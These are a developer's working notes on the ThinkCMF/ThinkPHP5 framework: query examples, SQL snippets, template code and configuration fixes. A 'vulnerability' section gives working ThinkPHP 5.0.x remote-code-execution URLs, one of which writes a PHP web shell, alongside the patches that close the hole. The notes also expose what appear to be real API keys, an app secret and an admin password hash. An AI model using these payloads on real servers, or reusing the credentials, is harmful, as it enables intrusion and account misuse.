thinkcmf
入职
http://qiye40.sz2.hostadm.net/admin
thinkcmf5手册地址:
https://www.thinkcmf.com/docs/cmf
https://www.thinkcmf.com/docs/cmfx/thinkphp5手册地址:
https://www.kancloud.cn/manual/thinkphp5/118003
查询方法:
$db->table('user')->limit(10)->order('id desc')->select();
相当于执行下面的sql语句,并返回二维数组。
SELECT * FROM user ORDER BY id desc LIMIT 10
$where['user_name'] = array('like','%ly%');
$where['credit'] = array('gt',100);
$db->table('user')->where($where)->limit(10)->select();
相当于执行下面的sql语句,并返回二维数组。
SELECT * FROM user WHERE ( user_name LIKE '%ly%' ) AND ( credit > 100 ) LIMIT 10
$where['credit'] = array(array('gt',100),array('eq',0),'or');
$db->table('user')->where($where)->limit(10)->select();
相当于执行下面的sql语句,并返回二维数组。
SELECT * FROM user WHERE ( (credit > 100) OR (credit = 0) ) LIMIT 10
$where['_string'] = 'credit>100 and credit<200';
$db->table('user')->where($where)->limit(10)->select();
相当于执行下面的sql语句,并返回二维数组。
SELECT * FROM user WHERE ( credit>100 and credit<200 ) LIMIT 10
$where['user_name'] = 'lyly';
$db->table('user')->field('credit')->where($where)->find();
相当于执行下面的sql语句,并返回一维数组。
SELECT credit FROM user WHERE ( user_name = 'lyly' ) LIMIT 0,1
$db->table('user')->where('id=2')->find();
相当于执行下面的sql语句,并返回一维数组。
SELECT * FROM user WHERE id=2 LIMIT 0,1
再来看看更新语句:
$where['user_name'] = 'lyly';
$data['credit'] = 100;
$db->table('user')->data($data)->where($where)->update();
相当于执行下面的sql语句,并返回影响行数。
UPDATE user SET credit=100 WHERE ( user_name = 'lyly' )
$where['credit'] = array('elt',100);
$data['credit'] = array('exp','credit+1');
$db->table('user')->data($data)->where($where)->update();
相当于执行下面的sql语句,并返回影响行数。
UPDATE user SET credit=credit+1 WHERE ( credit <= 100 )
再来看看新增语句:
$data['user_name'] = 'hoho';
$data['credit'] = 100;
$db->table('user')->data($data)->insert();
相当于执行下面的sql语句,并返回自增ID。
INSERT INTO user (user_name,credit) VALUES ('hoho',100)
最后看看删除语句:
$where['credit'] = 0;
$db->table('user')->where($where)->delete();
相当于执行下面的sql语句,并返回影响行数。
DELETE FROM user WHERE ( credit = 0 )
return $this->hasMany('DealerDeliveryInfo','dd_id','dd_id')->with(['goodsInfo'=>function(Query $query){
$query->field(['goods_id','goods_sn','item_no','brand_id','brand_id as brand_name','sub_brand_id','sub_brand_id as sub_brand_name','specs','in_number']);
}]);
常量
CMF_ROOT
$whereOr[]=['exp',Db::raw("FIND_IN_SET('$v',product_ids)")];
require_once CMF_ROOT.'simplewind/cmf/lib/aip-php-sdk-4.15.1/AipImageSearch.php';
$client = new \AipImageSearch('25061907', 'IRY23zwlwk7sqSNdY2b7qbbX', 'q4aXw4mDVMLYsbEQ4CohIusuIEHN1wUt');
旧版
多语言要修改上传路径
__PUBLIC__/Admin/Js/upload.js
server: '/upload.php',
添加管理员语句
INSERT INTO chuancai.hunuo_user (id, user_type, rec_user_id, agent_num, platform_no, channel_num, subsidiary_num, is_agent, open_account, source, grade_id, is_employee, sex, birthday, last_login_time, score, coin, create_time, user_status, user_login, user_pass, user_nickname, user_email, user_url, avatar, signature, last_login_ip, user_activation_key, mobile, more, province, city, district, address, login_times, open_account_type) VALUES ('1', '1', '0', '0', NULL, '', '', '0', '0', '', NULL, '0', '0', '0', '1587372037', '0', '0', '1512453568', '1', 'hunuokeji', '###3656dbb71ece7976b31002b06404d3aa', 'hunuokeji', '123@qq.com', '', '', '', '120.236.163.219', '', '', NULL, NULL, NULL, NULL, NULL, '0', '0');
INSERT INTO cmf_field_module ( name, fieldname) VALUES ('二级栏目标题(五)', 'introduction_five'),('二级栏目标题(六)', 'introduction_six'),('二级栏目标题(七)', 'introduction_seven'),('二级栏目标题(八)', 'introduction_eight'),('二级栏目标题(九)', 'introduction_nine'),('二级栏目详情(五)', 'content_five'),('二级栏目详情(六)', 'content_six'),('二级栏目详情(七)', 'content_seven'),('二级栏目详情(八)', 'content_eight'),('二级栏目详情(九)', 'content_nine');
ALTER TABLE cmf_goods ADD content_five TEXT NOT NULL COMMENT '二级栏目详情(五)';
ALTER TABLE cmf_goods ADD content_six TEXT NOT NULL COMMENT '二级栏目详情(六)';
ALTER TABLE cmf_goods ADD content_seven TEXT NOT NULL COMMENT '二级栏目详情(七)';
ALTER TABLE cmf_goods ADD content_eight TEXT NOT NULL COMMENT '二级栏目详情(八)';
ALTER TABLE cmf_goods ADD content_nine TEXT NOT NULL COMMENT '二级栏目详情(九)';
ALTER TABLE cmf_goods ADD introduction_five TEXT NOT NULL COMMENT '二级栏目标题(五)';
ALTER TABLE cmf_goods ADD introduction_six TEXT NOT NULL COMMENT '二级栏目标题(六)';
ALTER TABLE cmf_goods ADD introduction_seven TEXT NOT NULL COMMENT '二级栏目标题(七)';
ALTER TABLE cmf_goods ADD introduction_eight TEXT NOT NULL COMMENT '二级栏目标题(八)';
ALTER TABLE cmf_goods ADD introduction_nine TEXT NOT NULL COMMENT '二级栏目标题(九)';
{:date('Y-m-d H:i',$vo['create_time'])}
whereNull('t.openid')
->value('group_concat(title)');
发送邮件
cmf_send_email
Db::table('cmf_asset')
column();
fetchSql();
getLastSql();
select(false);
版本号查看 \simplewind\thinkphp\base.php
日志
ErrorLog /data/home/website/logs/error.log (错误日志)
CustomLog /data/home/website/logs/access.log common (网站日志)
更新版本thinkphp版本
simplewind\thinkphp 文件夹全部替换
app\config.php
第108行
// 模板文件名规则改为之前的全小写规则
'auto_rule' => '2',
多语言图片上传
\static\js\admin.js
uploadOneImage方法的
$(input_selector + '-preview').attr('src', files[0].preview_url);
$(input_selector + '-preview').attr('src', '/english/'+files[0].preview_url);
多语言 附件共用根目录
\app\config.php
//上传目录
'upload_path' => '../upload/',\app\user\controller\AssetController.php
use think\Db;
\english\simplewind\cmf\lib\storage\Local.php
private function _getWebRoot()
{
return cmf_get_domain() . cmf_get_root().'/..';
}
simplewind\vendor\topthink\think-captcha\src\helper.php
\think\Route::get('captcha/[:id]', "\think\captcha\CaptchaController@index");
改成
\think\Route::get('captcha/new', "\think\captcha\CaptchaController@index");
漏洞
https://www.thinkphp.cn/donate/download/id/1279.html 下载thinkphp_5.0.24版本
index.php?s=index/\think\app/invokefunction&function=assert&vars%5B0%5D=$%7B@print(eval(phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))%7D
index.php?s=index/\think\app/invokefunction&function=assert&vars[0]=${@print(eval(phpinfo()))}
simplewind\thinkphp\library\think\App.php 这个文件386行加一下
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
http://www.thinkphp.cn/topic/60992.html
\simplewind\thinkphp\library\think\Request.php
查找method方法
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
}
}
return $this->method;}
整个方法,替换成下面
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
} else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;}
图库缩小
\static\js\artDialog\skins\default.css
.aui_main { text-align:center; min-width:9em; min-width:0\9/IE8 BUG/; height: 380px !important}
Db::name('RoleUser')
->alias("a")
->join('__ROLE__ b', 'a.role_id =b.id')
->where(["user_id" => $result["id"], "status" => 1])
->value("role_id");
$where['create_time'] = [['>= time', $startTime], ['<= time', $endTime]];
$where['name'] = ['like', "%$keyword%"];
Db::name('recycleBin')->where($where)->order('create_time desc')->paginate(1,true)->appends($param);
$navMenuModel->allowField(true)->isUpdate(false)->save($arrData);
分页
$list->appends($param);
config('paginate',[
'type' => '\cmf\paginator\Bootstrap2',
'var_page' => 'page',
'list_rows' => 15,]);
$portalPostModel = new BranchPostModel();
$articles = $portalPostModel
-> alias('a')
-> field($field)
-> join($join)
-> where($where)
-> order($order)
-> paginate(10,false,[
'type' => '\cmf\paginator\Bootstrap2',
'var_page' => 'page',
'list_rows' => 15,
]);
->paginate(20,false,['query'=>request()->param()]);
TMPL
<page/>
$banner_slide_id = empty($theme_vars['banner_slide']) ? 1 : $theme_vars['banner_slide'];<notempty name="vo.url"><a href="{$vo.url}"></notempty>
<div style="background-image: url({:cmf_get_image_url($vo['image'])})"></div>
<notempty name="vo.url"></a></notempty><div style="background-image: url('__TMPL__/public/assets/images/banner.jpg')"></div><goods:subCategories categoryId="$cat_id" item="vo">
<a <if condition="$cat_id eq $vo['id']">class="on"</if> href="{:cmf_url('goods/list/index',array('id'=>$vo['id']))}">{$vo.name}</a></goods:subCategories>
$cat_id = $cat_id==113?130:$cat_id;
$where=[
'delete_time'=>['eq',0]
];
<portal:articles where='$where' limit="9" order="category_post.list_order DESC , published_time DESC" relation="categories" categoryIds="$cat_id" page="9">
<li>
<a href="{:Url('portal/Article/index',array('id'=>$vo.id,'cid'=>$vo.category_id))}" class="block">
<div class="new-img"><img src="{:cmf_get_image_preview_url($vo.more.thumbnail)}" alt="{$vo.post_title}" width="100%" /></div>
<div class="clearfix new-desc">
<p class="new-p m-text fl">{$vo.post_title}{:date('d',$vo.published_time)}{$vo.msg|msubstr=###,0,30}</p>
<i class="iconfont icon-jiantou new-i fr"></i>
</div>
</a>
</li></portal:articles>
$child = \think\Db::Query("SELECT * FROM cmf_goods_category WHERE parent_id=144 ORDER BY list_order asc");
$news_slide_id = empty($theme_vars['news_slide']) ? 0 : $theme_vars['news_slide'];
if( !empty($news_slide_id) ){
$news = \app\admin\service\ApiService::slides($news_slide_id);
}<div class="<if condition='$mod eq 0'>picleft<else />picright</if> animated transPic" data-time="{$i}00">
<img src="{:cmf_get_image_url($vo['image'])}">
<empty name='vo.url'>
<a href="javascript:update();">
<else />
<a href="{$vo.url}" target="_blank">
</empty>
<div class="text">
<div class="tag">{$vo.description}</div>
<div class="cTag">{$vo.title}</div>
<div class="article">{$vo.content|htmlspecialchars_decode|stripslashes}</div>
</div>
</a>
</div>{$c.description|htmlspecialchars_decode|stripslashes}
自定义错误页面
需要关闭调试,然后
data\conf\config.php
'http_exception_template' => [
// 定义404错误的重定向页面地址
404 => APP_PATH . '../err.html',
500 => APP_PATH . '../err.html',
],
ueditor
添加模板
\ueditor\dialogs\template\config.js
var templates = [
{
"pre":"pre0.png",
'title':lang.blank,
'preHtml':'<p class="ue_t"> 欢迎使用UEditor!</p>','html':'
'},语言包
\ueditor\lang\zh-cn\zh-cn.js
高德地图
\themes\admin_simpleboot3\admin\dialog\map.html
test目录下thinkcmf/map.html
微信分享
use Overtrue\Wechat\Js;
$jssdk=new Js('wx6aac036a2b6c329c','a5dea546d9d915707daf4c20fa5aecd9');
$data=$jssdk->getSignaturePackage();
print_r($data);
exit;
use Overtrue\Wechat\Server;
$jssdk=new Js('wx6aac036a2b6c329c','a5dea546d9d915707daf4c20fa5aecd9');
$data=$jssdk->getSignaturePackage();
print_r($data);
exit;
登陆状态
<if condition="cmf_get_current_user()">